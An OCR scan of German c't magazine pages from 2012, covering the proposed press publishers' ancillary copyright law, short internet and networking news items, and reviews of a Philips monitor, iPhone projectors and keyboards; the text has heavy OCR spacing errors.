Namen ,.Lex Goog le", wei l  es ins­
besondere verh i ndern sol l ,  dass 
Goog le wie bis lang üb l ich in 
Suchmasch inentreffern und bei 
Goog le News Übersch riften und 
Textan risse (sogenannte ,.Sn ip­
pets") aus fremden Artike ln  über­
nimmt, ohne dafü r  zu bezahlen. 

Werbung dazu - verd iene a l so 
viel Geld mit fremder Leistung.  

Nach Mei n u ng vie ler Kriti ker 
lässt d iese Sichtweise außen vor, 
dass Goog le den Verlagen ih r  Ge­
schaft überhau pt erst ermög l i ­
che,  wei l  d ie  Suchmasch ine mit  
den verl i nkten Sn ippets d ie Besu- · 

eher zum Orig ina l i nha lt  auf den 
Ver lagsseiten füh re. Dennoch 
wurden die Lobbyisten der Verle­
ger n icht müde, i h r  An l iegen 
immer wieder i n  Berl i n  vorzutra­
gen - bis die Bundesreg ierung 
d ie  E infü h rung des Verleger­
schutzrechts sogar  in den Koa l iti­
onsvertrag aufgenommen hat. 

Verl inkungsfa l le  

D e r  nun vorgelegte Entwurf ent­
hä lt  reich l ich vage Defi n it ionen 
und könnte nach Ansicht vie ler 
Juristen weit über das vom feder­
füh renden Bundesjustizmin i steri­
um ausgegebene Ziel h inaus­
schießen. A ls  schutzwürd ig  gel­
ten laut Entwurfsbegründung 
bereits ,.k leine Tei le des  Presseer­
zeugn isses". Unangetastet b le ibt 
das ebenfa l l s  im U rheberrecht 
(Paragraf 5 1 )  veran kerte Zitat­
recht. Danach müssen übernom­
mene Texttei le i n  e in  ,.selbststän­
d iges Sprachwerk" integriert wer­
den. ln a l ler  Regel muss dabei der 
eigene Texttei l  d ie  zitierten l n­
ha lte längenmäßig überwiegen. 

[J Status IQ!j Foto/Yodeo � fl'it9<' 

I st d ies n icht der Fa l l ,  so l l  der 
Leistungsschutz gelten, und zwar 
auch fü r ei nze lne Sätze und -
trotz einer anderslautenden Dar­
stel l ung  in der Entwurfsbegrün­
dung - sogar  für Übersch riften .  
Die gäng ige Methode zur Such­
masch inenoptimierung, den Link  
zu e inem Artikel aus  der Ü ber­
schrift zu generieren (siehe Abbi l­
dung), kön nte damit bereits zur 
(Abmahn-)Fal le werden: Die Über­
nahme d ieses Li n ks kan n  dann  
e inen  Rechtsverstoß darste l len .  

Der Entwurf defin iert überdies 
nur sehr u nbestimmt, wer I n ha­
ber des Rechts sein wird und wer 
zu den potenziel len Rechtsverlet­
zern zäh lt. Dem Text des Gesetz­
entwurfs zufolge g i l t  a l s  ,.Presse­
erzeugn is" e ine ,. redakt ionel l ­
techn ische Festlegung im Rah­
men e iner ( . . .  ) period isch 
veröffentl ichten Sammlung". Ob 
darunter beispielsweise auch 
Blogs fa l len, ist derzeit umstritten.  

E in  ,.P ressever leger" zumin­
dest kön nte l aut Begründu ngs­
text du rchaus der Setreiber eines 
B logs se in ,  fa l l s  er  dam it - bei­
sp ie lsweise mit  e ingeb lendeter 
Werbung - E inkommen erzielt. 
Umgekehrt müsste d ieser Blog­
ger dann auch jeden Textschn ip­
sel Dritter l izenzieren, denn nach 
d ieser S ichtweise ha ndelt er 
sch l ieß l ich gewerbl ich.  Schon an  
d iesem Beispiel  wird ers icht l ich, 
dass das geplante Leistu ngs� 
schutzrecht zu e iner  wesent l ich 
defensiveren Verl i nkungspraxis ­
und damit zu weniger Querver­
weisen - im Web füh ren d ü rfte. 

Nach Lesa rt e in iger J u risten 
könnten auch Setreiber sozia ler  
Netzwerke wie Google+ und Face­
bock m it dem Leistu ngsschutz­
recht in Konfl i kt geraten. Sie ge­
nerieren bisher standardmäßig 
aus  geposteten L inks Sn ippets 
mit M in iaturbi ld und profitieren 
von der Veröffentl ichung mit ein­
geblendeter Werbung. 

Wa r u rsprü ng l i ch  noch ge­
p la nt, zur Lizenzverga be u n d  
Abrech nung  e i n e  Verwertu ngs­
gese l l schaft nach Art der  GEMA 
ins  Leben zu rufen, i st davon im  
Gesetzentwu rf n u n  n ichts mehr  

Aus  Verlegersicht handelt Goo­
gle h ier zumindest u nmora l isch, 
denn der Konzern torped iert 
demnach das in Deutsch land gän­
gige Geschäftsmodel l fü r die On­
l i ne-Vermarktung journal istischer 
Inha lte: Der Nutzer zah lt  n ichts, 
sondern konsumiert die ei nge­
blendete Werbung, womit der 
Verleger das Angebot finanziert. 
Goog le, so die Argumentation für 
ein Leistungsschutzrecht, kopiere 
d iese Inha lte, bette· sie ins  eigene 
Angebot ein und scha lte eigene 

http:f/www.bild.de/geld/wirtschaft/larry-page/google-boss-abgetaucht-wie-krank­

ist-larry-page-24837504.bild.htm� 
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Lany Page ohne Stimme: w-oe krank ist der 
Google-Boss wil1didJ 
http://www .bid.de/geJdf,wtschaft,larry 0 0 0 

Große Sage '"" Google.Qüxler Larry Page' Der 39-lä!Yige 
ist seit einem Monat voo de< Bidflädle versdlwtJolden. Was 
stedtt YWidid1 daiWiter? 

X 

.k Freunde • *#b* 

zu fi nden .  N u r  d ie  g roßen Verla­
ge d ü rften sich u nterei nander  
sch ne l l  auf  Abrechnungsmoda­
l itäten e in igen .  Für den Gele­
gen heitsblogger könnte es aber 
e ine r ies ige H ü rde werden, kos­
tenpfl icht ige Lizenzen fü r Text­
n utzu ng zu vergeben oder e in­
zuholen.  

" lnteressenausgleich" 

Obwohl  der erste Gesetzentwurf 
noch n icht e inmal  vom Bundes­
kabinett abgesegnet und in den 
Bundestag e ingebracht i st, hat 
s ich bereits e in  breiter Wider­
stand gegen das Vorhaben orga­
n i s ie rt. Daru nter s ind n icht n u r  
sogenannte ,.Netzaktivisten", 
sondern renommierte Rechtsex­
perten,  Journa l i sten und Pol it i­
ker. Auch i n  der eigenen Koa l it i­
on tr ifft Bundesju stizm in i ster in 
Sabine Leutheusser-Schna rren­
berger (FDP) zunehmend auf Wi­
derstand .  Die Bundestagsabge­
ordnete Dorothee Bär etwa, im­
merh in  Mitg l ied des CSU-Partei­
vorstands  und ste l lvertretende 
Genera lsekretä r in  der CSU, be­
fü rchtet a ngesichts des Ent­
wu rfstextes ,.erhebl iche E in­
schränkungen der Kommun ikati­
on im 2 1 . Jahrhundert" und ein­
seit ige l nteressenspol it ik. 

Leutheusser-Schnarrenberger 
(FDP) hat das Papier verteid igt: 
,.Das Leistungsschutzrecht kon­
serviert nicht a lte Geschäftsmo­
del le", erklä rte die Min i steri n .  
Stattdessen werde durch das Ge­
setz nu r  e in  I nteressenausg leich 
geschaffen.  Leistungsschutzrech­
te seien im deutschen U rheber­
recht n ichts Neues. Der Gesetz­
entwurf ziele darauf, die verlege­
r ische Tät igkeit zu schützen .  ,. Es 
geht dabei um mehr als die rein 
u rheberrechtl iehen Inha lte, es 
geht darum, die R is ikoübernah­
men, d ie wirtschaftl iche Verant­
wortung über ein Leistungs­
schutzrecht abzusichern." I h r  
Haus  bemühe s ich, das  Gesetz 
mög l ichst schnel l  im Bundeskabi­
nett zu beschl ießen und anschl ie­
ßend im Bundestag zu beraten. 
Ob das Leistungsschutzrecht a l ­
lerd ings noch i n  d ieser Legislatur­
periode, a lso bis M itte 20 1 3  
kommt, scheint fragl ich.  (hob) 

Bald verboten? Aus dem 
beschreibenden Link, der eine 
schutzwürdige Leistung 
darstel len würde, generiert 
Facebook automatisch ein 
Snippet. 
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Opera in Version 12 

Opera Software legt mit Release 
12 seines Webbrowsers erstmals 
auch für Windows und Mac OS 
spezielle 64-Bit-Versionen auf, 
die schneller sein sollen als die 
32-Bit-Pendants. Experimentell 
ist die Unterstützung der Hard­
ware-Unterstützung zur Grafik­
beschleunigung, die man des­
halb explizit aktivieren muss. Das 
gilt auch für "Do not Track", 

womit der Browser den besuch­
ten Websites mitteilt, dass der 
Nutzer kein Tracking etwa durch 
Werbenetzwerke wünscht. Die 
neue Version lagert Plug-ins in 
externe Prozesse aus, was die 
Stabilität des Browsers verbes­
sern soll. Opera 12 bereinigt auch 
eine Reihe von Sicherheitspro­
blemen und unterstützt HTMLS 
sowie CSS3 umfassender. (ad) 

Neue Facebook.:.Funktionen 

Facebook führt zwei neue Funk­
tionen ein, eine davon aber nicht 
ganz freiwillig: Als Ergebnis einer 
Sammelklage in den USA sollen 
sich Nutzer künftig dagegen ver­
wahren können, als Werbebot­
schafter in sogenannten Spon­
sored Stories aufzutauchen. 

Die zweite Neuerung betrifft 
Kommentare, die sich künftig 

c't 2012, Heft 15 

auch noch nach Veröffentli­
chung vom Autor ändern lassen. 
Dies gilt auch rückwirkend für 
alte Kommentare, nicht aber für 
die Statusmeldungen, denen die 
Kommentare folgen: Die dürfen 
auch weiterhin nur gelöscht wer­
den. Auch bleiben die ursprüng­
lichen Versionen geänderter 
Kommentare einsehbar. (ad) 

aktuelljlnternet 

Netzagentur misst Internet 

Mit einem Speedtest (www. 
initiative-netzqualität.de) will 
die Bundesnetzagentur ermit­
teln, wie häufig bei deutschen 
Breitbandanschlüssen die tat­
sächlich erreichte Datenübertra­
gungsrate von der im Vertrag 
angegebenen abweicht. Außer­
dem sei die Studie Teil der Maß­
nahmen zur Sicherung der Netz­
neutralität und eines offenen In­
ternet in Deutschland, so die Be­
hörde. Man wolle untersuchen, 
inwieweit eine parallele Nut-

zung von VoiP und IPTV die 
Übertragungsqualität beein­
trächtigt. 

Der Speedtest der Bundes­
netzagentur wird als Webseite 
im Browser aufgerufen und funk­
tioniert wie andere Dienste 
dieser Art, die allerdings oft 
ungenaue Ergebnisse liefern. 
Man muss seine Postleitzahl, die 
Bandbreite des Anschlusses, den 
Provider und die subjektive Zu­
friedenheit angeben, ehe die 
Messung einmal durchläuft. (ad) 

Gmail auch in Deutschland 

Nach Beilegung des jahrelangen 
Rechtsstreits um die Marke 

"Gmail" führt Google diese Be­
zeichnung für seinen Maildienst 
auch in Deutschland ein. Nutzer 
einer @googlemail.com-Adresse 
sollen diese daher bald auf die 

kürzere Domain gmail.com um­
stellen können. Kontoeinstellun­
gen, vorhandene Mails und Kon­
takte seien von der Umstellung, 
die sich auch wieder rückgängig 
machen lassen soll, nicht betrof­
fen, erklärt das Unternehmen. (ad) 
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aktuell ! Netze 

Wireshark 1 .8 lauscht an mehreren 
Schnittstellen 

Der que l loffene Paket-Ana lysa­
tor und Netzwerk-Sn iffer Wi re­
shark steht in Version 1 .8.0 zum 
Download bereit. Die neue Versi­
on erfasst den Datenverkehr  nun  
n icht meh r  n u r  von e i ne r  oder 
von a l len Netzwerkschn ittstel len 
(any) . Aus der Liste der vorhan­
denen Schn ittste l len lassen s ich 
nun mehrere gezielt auswäh len, 
deren Netzwerkverkehr  Wi re­
shark betrachtet und auswertet. 
Das Prog ramm verbessert d ie  
Handhabung von Schl üsseln fü r 
IEEE 802. 1 1 ,  I Psec sowie ISAKMP 
und speichert Mitschnitte per 
Vorgabe im  pcap-ng-Format. 
Netzwerk-Pakete und Mitschn it-

te lassen sich m it Anmerkungen 
versehen und Wi reshark g reift 
auf d ie  I Pv6-Geoi P-Datenbank 
zurück. 

Die Entwickler haben zudem 
das Speichern-Menü ü berarbei­
tet und d ie Darste l l ung von TCP­
Fast-Retransmiss ions sowie TCP­
Window-Updates angepasst, d ie  
es jetzt n icht mehr  a l s  Warnun­
gen oder  Feh ler  anzeigt. Weitere 
Neuerungen und  Deta i l s  be­
schre ibt das Change log auf der 
Projektseite, fü r Windows und 
Mac OS X stehen im  Download­
Bereich neben dem Quel ltext 
der Software auch fert ige Pro­
gramme bereit. ( rek) 

Weitere Gigabit-WLAN-Router 

Nach sei nem kü rzl ich vorgestel l ­
ten und im S-GHz-Band b is  zu 
1 ,3 GBit/s (brutto) schne l len 
1 1  ac-WLAN-Router R6300 wi l l  
Netgea r nun  d e n  Dua lband­
WLAN-Router R6200 auf den 
Markt br ingen. Das Gerät er­
reicht bei S GHz jedoch nur etwa 
900 MBit/s gemäß I EEE 802 . 1 1 ac. 
Im 2,4-GHz-WLAN-Band ü ber­
trägt er g leichzeit ig bis zu 300 
MBit/s ( IEEE 802. 1 1 n) über zwei 
räum l ich getrennte Datenströ­
me, sodass er rechnerisch damit 

etwa 1 ,2 GBit/s schafft. Für die 
Verb indung zu seinen 1 1  ac­
Routern hat der Herstel ler zudem 
den 1 1  ac-taug l ichen USB-WLAN­
Adapter A62000 vorgestel lt, der 
g le ichzeitig i m  2,4- und S-GHz­
Band funkt. 

Während der R6300 ab Ju l i  
201 2 für 230 Euro zu  haben sein 
sol l ,  sol len der langsamere R6200 
sowie der USB-Adapter A6200 im 
d ritten Quartal 20 1 2  a uf den 
Markt kommen. Preise nannte 
Netgear bis lang n icht. (rek) 

Mobilfunk-Router für die Hutschiene 

Das Hamburger  U nternehmen 
Dr .  Neuhaus hat d ie Mobi lfunk­
Router Ta iny HMOD-L3- IO und  
Ta iny HMOD-V3- IO vorgeste l lt . 
Die beiden sind eine Weiterent­
wickl ung der b isher igen Ta iny­
HMOD-Geräte und besitzen e ine 
schnel lere Router-CPU sowie 
mehr Arbeitsspeicher. 

Die etwa für die Steuerung von 
Windrädern aus  weit entfernten 

so 

Firmennetzen gedachten Geräte 
s itzen in einem Gehäuse fü r d ie 
Hutschienenmontage, verbinden 
sich per GPRS, EDGE, UMTS sowie 
HSPA+ ins  I nternet und binden 
s ich über zwei Fast-Ethernet-Ports 
in das lokale Netz ein .  Für  externe 
Mobi lfunkantennen stehen zwei 
Anschlüsse an den Geräten bereit. 

Zusätzl ich koppelt der Ta i ny 
HMOD-V3-IO das LAN mit e inem 
über das  I nternet erre ichbaren 
F i rmennetz per I PSec-VPN.  Für 
d ie  Verwa ltung der  Geräte ste­
hen e ine Web-Oberfläche, SNMP 
sowie e ine Kommandoze i le  per  
Secu re She l l  (SSH)  bereit - ü ber 
d ie  s ich auch d ie  F i rmware der 
Router aktua l i s ieren lässt. ( rek) 

Die beiden Mobilfunk-Router 
Ta iny HMOD-L3-10 und Tainy 
HMOD-V3-IO verbinden 
Industriean lagen mit dem 
Firmen netz, der Ta iny HMOD­
V3-IO kl inkt sich dabei sogar 
per I PSec in ein VPN ein. 
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Während Wireshark bislang nur an al len oder einer einzigen 
Schnittstel le lauschen konnte, sammelt es ab Version 1 .8.0 an 
ausgewählten Ports die Paketdaten ein. 

Heimkino-Funker 

Der eher für se ine Festplatten be­
kannte Herste l ler  Western Dig ita l 
hat g leich vier Router vorgestel lt, 
die Funknetze pa ra l le l  im 2,4-
und S-GHz-Band gemäß I EEE  
802. 1 1 n aufspan nen. Das  kle inste 
Mode l l  N600 aus  der My-Net­
Serie überträgt über zwei räum­
l ich getrennte Datenströme bis  
zu 300 MBit/s je WLAN-Band und 
verbindet v ier  kabelgebundene 
Netzwerkgeräte per Fast-Ether­
net. I m  N 750, N900 und N900 
Centra l sitzt stattdessen ein Giga­
bit-Ethernet-Switch - beim N900 
sogar  mit acht statt der üb l ichen 
vier Ports. Während der N750 nu r  
im S-GHz-Band über d rei Streams 
bis zu 4SO MBit/s ü berträgt und 

@ Netzwerk-Notizen 

Der Zeitserver-Cluster pool .ntp. 
org sucht Mitstreiter, die s ich 
a m  Zeitsynchronisierungs­
dienst mit weiteren Servern be­
tei l igen. Mitmachen kan n  jeder, 
der e inen Server mit statischer 
I P-Adresse und dauerhafter l n­
ternet-Anb indung bes itzt. Die 
dafü r  nötige Bandbreite sei re­
lativ ger ing, denn C l ients for­
dern nu r  wenige U DP-Pakete 
an. Deta i l s  zur E inrichtung und 
Anmeldung eigener Server bei 
pool .ntp.org beschre ibt e ine 
Webseite (siehe c't-Link) .  

Der Verein Fre ie Netzwerke e. V.  
w i l l  1 00 WLAN-Access-Points 
i n  den Berl iner  Stadtbezi rken 
Kreuzberg und Fried richsha in  

be i  2 ,4 GHz 300 MBit/s erreicht, 
schaffen d ie  beiden Model le 
N900 und N900 Centra l  in  beiden 
Funkbändern 450 MBit/s. Alle Ge­
räte sprechen über m indestens 
e inen USB-Port Massenspeicher 
an,  deren Inha lte (Mus ik, Videos 
und B i lder) sie per UPnP/DLNA 
im LAN verte i len .  Zusätz l ich i st 
im N900 Central e ine Festplatte 
e ingebaut, d ie  s ich a l s  Backup­
Med ium eignen sol l .  

Laut Herstel ler kostet der N600 
rund 80 Euro, der N7SO 1 00 Euro 
und der N900 1 70 Euro. Für  den 
erst später erhält l ichen N900 
Centra l mit 2-TByte-P iatte ver­
langt WD 3SO Eu ro, das 1 -TByte­
Model l kostet 200 Euro. (rek) 

verte i len .  Die Geräte ste l len 
ü ber e in  offenes Funknetz 
e inen anonymen Internet­
zugang für jedermann bereit. 
Die I n itiatoren wol len damit 
gegen d ie Störerhaftung pro­
testieren, du rch die offene l nter­
netzugänge etwa in Cafes der­
zeit fast u nmögl ich gemacht 
werden: Die F reifunk-Freedom­
Fighter-Box genannten Router 
tunne in  den Datenverkehr  der 
am Access Point angemeldeten 
Nutzer über ein virtuel les priva­
tes Netz zu einem VPN-Anbieter 
in Schweden; sodass sowohl  
WLAN-Surfer a l s  auch DSL- In­
haber anonym bleiben. 

www.d.de/72 75050 

c't 201 2, Heft 1 5  



scan by blackburner 2012 -mternetz 



kurz vorgestellt I Display, Beamer für iOS 

Aufpasser 

Phi l ips' 24"-Monitor warnt den 
N utzer, wenn er in  einer ungesunden 
Position vor dem Schirm sitzt. 

Der 241 P4LRY lässt s ich neigen, d rehen und 
i n  der  Höhe verste l len  - theoretisch a lso 
beste Voraussetzungen, u m  daran i n  e iner 
ergonomischen S itzposit ion zu a rbeiten .  
Fü r  d ie praktische Umsetzung sorgt e ine a l s  
ErgoSensor beze ichnete Kamera oben i m  
Disp layrahmen d e s  24 1 P4LRY: S i e  ü ber­
wacht den Abstand zwischen Mon itor und 
Anwender sowie dessen Kopfstel l ung .  

Schleicht s i ch  e ine  ungesunde S itzposi­
t ion e in ,  zeigt der 24-Zöl ler  e ine Warnung 
an ,  dass  man beispielsweise den Abstand 
zum Disp lay erhöhen,  verringern oder den 
Kopf gerade ha lten sol l .  Zudem mahnt der 
24-Zöl ler nach einer Stunde ununterbroche­
ner Arbeit, e ine kurze Pause einzulegen. Ab­
standswarnungen erfolgten bei unseren 
Tests e in igermaßen verlässl ich; eine schiefe 
Kopfhaltung entg ing dem Monitor jedoch. 
Praktisch: Sitzt niemand vorm Schi rm, schal­
tet er sich nach kurzer Zeit ab  und spart so 
Strom. Kommt der N utzer zurück, e rwacht 
der 24-Zöl ler  automatisch aus seinem Tief­
schlaf. Wer s ich von den H inweisen bevor­
mundet füh lt, kann den Sensor samt Strom­
sparfun ktion im  Monitor-Menü abschalten. 

Das Display des 24-Zöl lers erreicht einen 
Kontrast von 820: 1 und zeigt satte Farben 
an. Das g i lt aufg rund der TN-Panei-Techn ik  
aber nur  be i  d i rekter Draufsicht Von den Sei­
ten betrachtet sehen die Farben blasser aus 
und Weiß  wird gelbstichig.  Für  die Bi ldbear­
beitung e ignet s ich der 241 P4LRY damit 
n icht, für Office-Anwendungen reicht seine 
Bi ldqual ität aus. Der ErgoSensor ist zwar eine 
gute Idee, bei unseren Tests funktionierte er 
aber n icht immer zuverlässig. (spo) 

P h i l i ps 241  P4LRY 
24" ·Fiai:hbildSdllnn 

Hersteller Phil ips, 
www.phil ips.de/ 

Auflösung 1 920 x 1 080 Pixel 
Ausstattung DVI, DisplayPort, 

USB-Hub (4 Ports) 
Garantie 3 Jahre inkl. 

Austauschservice 
Preis 3 10 € 
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winkelabhängiger Kontrast: 
Kreise im lO"-Abstand 

100 400 600 

Der Kleine 

Aipteks MobileCinema iSOS 
ist g leichzeitig Akkupack und 
Miniprojektor fü rs iPhone 4(5).  

Der Mobi leCinema iSOS könnte a ls  schl ichtes 
Akkupack-Gehäuse fürs i Phone durchgehen. 
Dass sich dar in auch e in Projektor verbi rgt, 
s ieht man erst auf den zweiten Bl ick. Der 
iSOS funktioniert aussch l ießl ich mit iPhone 4 
und 4S und lässt s ich wah lweise im Lademo­
dus oder im Projektionsmodus betreiben. Er 
lud unser leeres iPhone 4S zu etwas mehr als 
der Hä lfte auf, im Projektionsmodus hielt der 
Akku rund zwei Stunden durch. 

Der Gehäusebeamer meldet sich a ls Com­
posite-Video-Gerät am iPhone an, das B i ld 
wird a lso n icht d ig ita l übertragen. Mit 35 
Lumen ist der iSOS deutl ich hel ler a ls  andere 
Kleinstprojektoren. Auch in n icht abgedun­
kelten Räumen kann  man in DIN-A3-Größe 
e in igermaßen kontrastreich proj izieren, in 
dunkler  Umgebung schafft man sogar  1 ,5 
Meter B i ld breite. I nsgesamt wi rkt die Projek­
tion stimmig, wenn auch die Farben etwas 
g re l l  leuchten. M it Heimkino-Beamern kann  
de r  M in ibeamer aber a l le ine schon wegen 
der geringen Auflösung (640 x 480) nicht 
mitha lten. Außer dem Dock-Connector g ibt 
es keine a lternativen S ignale ingänge. 

B i lder kommen n u r  an die Wand, wenn  
e ine kom patible App  m i t  Video-out-Funk­
t ion läuft. Ai ptek ste l lt im App Store den 
kosten losen "Aiptek Viewer" zur Verfügung, 
der wah lweise das Live-Kamerabi ld (wie e in 
Overhead-Projektor) oder e inen Webbrow­
ser projiziert. Zudem lassen s ich damit auf 
dem iPhone gespeicherte Fotos und Videos 
a nzeigen - anders als bei der ebenfa l l s  TV­
Out-kompatib len vor insta l l ie rten Apple­
App "Fotos" kan n  man d ie B i lder n icht nu r  
a l s  sel bstab laufende Diashow proj iz ieren, 
sondern auch mit Wischgesten vor- und zu­
rückspr ingen.  Okj) 

Ai ptek Mobi leCinema i SOS 
il'hiiii-Gehäuse mit LED-Prii ktor 
Auflösung 640 x 480 (4:3) 
Maße (B x T x  H), Gewicht 6,8 cm x 1 2,6 cm x l ern, 1 1 8 g  
Anschlüsse 

lieferumfang 
Preis 

Dock-Connector, für iPhone 4(5), 
USB (Mini-B, zum Aufladen) 
USB-Kabel 
250 € . 
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Der Mittlere 

BenQs Joybee GP2 passt i n  die 
(g roße) Jackentasche und schafft 
stattl iche 1 75 Lumen. 

Der Joybee G P2 von BenQ i st etwa so g roß 
wie zwei Butterstücke - und wiegt auch un­
gefäh r  so v ie l .  Der GP2 besitzt e in  Dock fü r 
iPhone oder i Pod, das d ie Geräte aber n icht 
lädt. Übers Dock komm u n iz iert er  n u r  i m  
Composite-Video-Modus  m i t  d e n  iOS-Gerä­
ten. Die ana loge Übertragung füh rte in un­
serem Test besonders bei Standbi ldern 
manchmal  zu F l immern und leichten B i ld­
störungen.  Bei N i cht-Video-Out-kompati­
b len Apps b le i bt d ie  Lei nwand schwa rz. 
Dank HDMI  und  VGA-Port kan n  man  den 
Beamer aber auch ü ber d ie von Apple an­
gebotenen Kabel ansch l ießen, was· d ie  B i ld ­
qua l ität deutl ich verbessert. 

Der Projektor ka n n  B i l d-, Ton- u n d  
Videodateien (zu m Be isp ie l  J PG, M P3,  
M KV, MOV und AVI) a u s  dem i nternen 
Bea mer-Speicher (2 GByte) abspie len und 
auch von USB-Datenträgern oder SD(HC)­
Ka rten .  Der Lüfter röh rt permanent mit  
nervigen 2,5 Sone - und  zwa r auch ,  wen n  
m a n  i n  d i e  he l l i gkeits red uz ierte Eco­
Betriebsa rt scha ltet. 

Die B i ldqua l ität kan n  n icht mit . echten 
He imkino-Beamern mitha lten :  Das l iegt 
zum einen am fü r e in DLP-Projekt ionspanel 
u ngewöhn l ichen Rautenmuster, bei dem 
die P ixe l  n icht wie sonst rechtwink l ig ange­
ordnet s ind, sondern um 45 Grad gedreht. 
Bei Sch riftda rste l l u ng fü h rt das zu s icht­
baren Fransen.  Zum andern erreichte der  
Joybee im  Test maxi ma l  1 75 Lumen.  Das 
re icht i n  abgedunkelten Räumen etwa fü r 
zwei Meter B i ldbre ite, in he l len Konferenz­
räumen nu r  fü r etwa e inen Meter. (jkj) 

BenQ Joybee GP2 

Auflösung 
Maße (B x T x  H), 14 cm x 13 cm x 5,3 cm, 564 g 
Gewicht (+329 g Netzteil) 
Anschlüsse Mini-HOMI, Oock-Connector, propriertärer 

AV (VGA-Sub-0, Composite I für Video), 
Cinch in, Stereo-Klinke in&out (für Audio), 
USB (Typ A + Mini B) 

lieferumfang VGA-Kabel, Composite·Kabel, 
Mini-HOMI-Adapter, Fernbedienung 

Preis 460 € 
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kurz vorgestel lt I Beamer für iOS 

Der Große 

Epsons MG-850HD nutzt eine Lampe 
statt LEDs und ist entsprechend 
g roß. Dafü r passt ein i Pad ins  Dock. 

Den MG-850HD von Epson steckt man an­
ders a l s  d ie anderen beiden Beamer auf d ie­
ser Doppelseite nicht einfach mal  schnel l  i n  
d ie Tasche - dafü r  ist er zu schwer und zu 
g roß. Mit 3026 Lumen wi rft er  aber auch 
m indestens 1 5-mal mehr Licht auf d ie Lein­
wand a l s  d ie anderen Testkandidaten, das 
re icht locker auch fü r g roße Leinwände. Im 
Verg le ich zu "echten" He imki no-Projekto­
ren, die ab rund 1 000 Euro erhält l ich s ind,  
enttäuschte uns  aber auch beim MG-850HD 
die B i ldqual ität N icht nur  die Farben wirkten 
flau ,  vor a l lem störte uns  die extrem he l le  
Schwarzda rste l l ung :  Wir haben Schwarz­
werte bis zu 8,4 Lumen gemessen, das ent­
spricht eher einem Grau a l s  Schwarz. 

in die Dockingstation passen iPod, iPhone 
oder i Pad,  d ie  automatisch geladen wer­
den. Wie bei den anderen beiden Geräten 
u nterstützt das Dock des MG-850HD n u r  
d i e  Zuspie lung über d i e  qua l itativ minder­
wertige Composite-Schn ittste l le .  Nu r  Apps 
mit  TV-Out-Fu n kt ion geben ein Bi ld aus .  
Bessere Qua l ität bietet das von Apple ange­
botene H DMI-Kabel .  Wah lweise kan n  man 
i m  Bea mermenü d i rekt a uf Fotos, Videos 
und Mus ikstücke vom iOS-Gerät zug reifen 
- man muss also n icht auf  dem Touch­
screen herumd rücken, sondern kan n  vom 
Sofa aus  die P rojektoren-Fern bed ienung 
verwenden.  Das e i ngebaute 1 0-Watt­
Soundsystem macht ordent l ich Wumms.  
Ü ber se inen USB-Ansch luss  kan n  der  
Epson-Projektor B i lder  d i rekt von USB­
Datenträgern anzeigen und den Desktop des 
angeschlossenen Mac-OS- oder Windows­
Rechners spiege ln .  (jkj) 

Epson MG-850H D  
LCD-Pro�ktor mh Dock-Connector 
Auflösung 1280 x 800 (16:10) 
Maße (B x T x  H), Gewicht 34 cm x 29,1 cm x 1 1 ,5 cm, 3,9 kg 
Anschlüsse HOMI, Oock-Connector, VGA-Sub-0, 

lieferumfang 
Preis 

· Komponente, Composite (für Video), 
Stereo-Klinke in, Cinch in (für Audio), 
USB (Typ A+B) 
Fernbedienung 
610 € (Ersatzlampe 1 80 €) c't 
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kurz vorgestellt I iPad-Tastatur, Gaming-Tastatur, Festplattendock 

Solar-Tastatur 

Logitech setzt bei der i Pad-Tastatur­
Hül le  Solar Keyboard Folio auf 
eine umweltfreundl iche und 
unabhängige Stromversorg ung.  

Aus Sola rze l l en  bezieht d ie  i ntegr ie rte 
B luetooth-Tastatu r Energ ie, die in e inem 
Akku zwischengespeichert wi rd, um auch 
Ph(lsen ohne L icht  zu ü berbrücken. Log i ­
tech g ibt an,  dass  e ine Akku ladung bis zu 
zwei Jah re ha lte, was ka u m  ü berprüfba r 
ist, da d ieser auch bei wen ig  U mgebungs­
l icht ständig aufgeladen wird .  l n  u nserem 
mehrwöch igen Test wa r die Tastatur  je­
derzeit e insatzbereit. Sol lte der Akku doch · 

e inma l  entladen sein,  empfieh lt  Logitech, 
die H ü l l e  sechs Stu nden l ang  ins Tages­
l icht zu legen. 

Die knapp 1 9  M i l l i meter d icke und  
470  Gramm schwere H ü l le nutzt d ie  i m  
i Pad enthaltenen Mag nete, u m  es beim 
Sch l ießen zu deaktivieren .  Geha lten wird 
das i Pad von e inem Gummi rahmen. Daran 
angebrachte Füßchen fix ieren das Tablet in 
Kerben am Rand der Tastatur - es steht 
dadurch sehr stab i l .  Eine Sicherheits­
vorrichtung scha ltet die Tastatur ab, wenn  
das i Pad n icht fix iert i st. Unschön:  K lappt 
man das Case wie e in  Notebook zu, schlägt 
der  Akku auf das  iPad (s iehe Video im 
c't-Li nk) .  

Mit 1 7  M i l l imeter s ind  d ie  k lappr igen 
Tasten k le iner a l s  d i e  e iner  Sta nda rdtas­
tatu r, ze ichnen s ich a ber d u rch e inen 
guten Druckpunkt a us. Die Zah len re ihe 
und die Um laute Ä und  ü s ind etwas 
schmal ,  E ingabe- und Umscha lttasten h in ­
gegen erfreu l ich g roß. Sonderbelegu ngen 
ste l len zusätzl iche Funktionen bereit, etwa 
zur  La utstä rkerege lung  oder zum Ma rkie­
ren, Kopieren und Ei nfügen von Text. 

Als Tastatu r ist das Fol io prima, a l s  Hü l le 
eher unhand l ich. U ra) 

www.d.de/111SOS4 

Solar  Keyboard Fol io 

Hersteller 
Maße 
Preis 
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logitech. www.logitech.de 
iPad 2, iPad 3 
1 30 €  

Makrotastatur 

Sha rkoons Budget-Tastatu r "Ski l l er" 
bietet austa usch bare Gaming-lasten 
und lässt sich per Treiber um konfigu­
rieren - und das fü r n u r  1 5  E u ro. 

Gamer werden a ls  Erstes mit dem mitgel ie­
ferten Werkzeug die Pfei ltasten sowie W, A, 
S und D aus den Fassungen ziehen. Für  d iese 
Tasten l iegen he l lb laue Gummitasten m it 
genoppter Oberfläche bei, d ie etwas kanti­
ger ausfa l len und sich g riffiger anfüh len. 

Das Hauptfe ld ist m it Mu lt imedia- und 
Zusatztasten garniert: rechts und l inks je fünf 
Stück sowie oben nochmals zeh n  in zwei 
B löcken. Am unteren Rand leuchtet ein blau­
es S-Logo. Die Zusatztasten schl ießen auch 
eine Einscha lt- und Sch laffunktion e in .  

Die Treiber-Software (Version 2.0. 1 ) bietet 
einen üppigen Funktionsumfang.  Die Tasta­
tur unterstützt zehn  Profi le mit jewei ls  drei 
Belegungsebenen. Ordnet man e in Profi l 
e iner Anwendung zu, wird es automatisch 
aktiv, soba ld das defin ierte Prog ramm im 
Vordergrund ist. Der Makro-Editor verarbei­
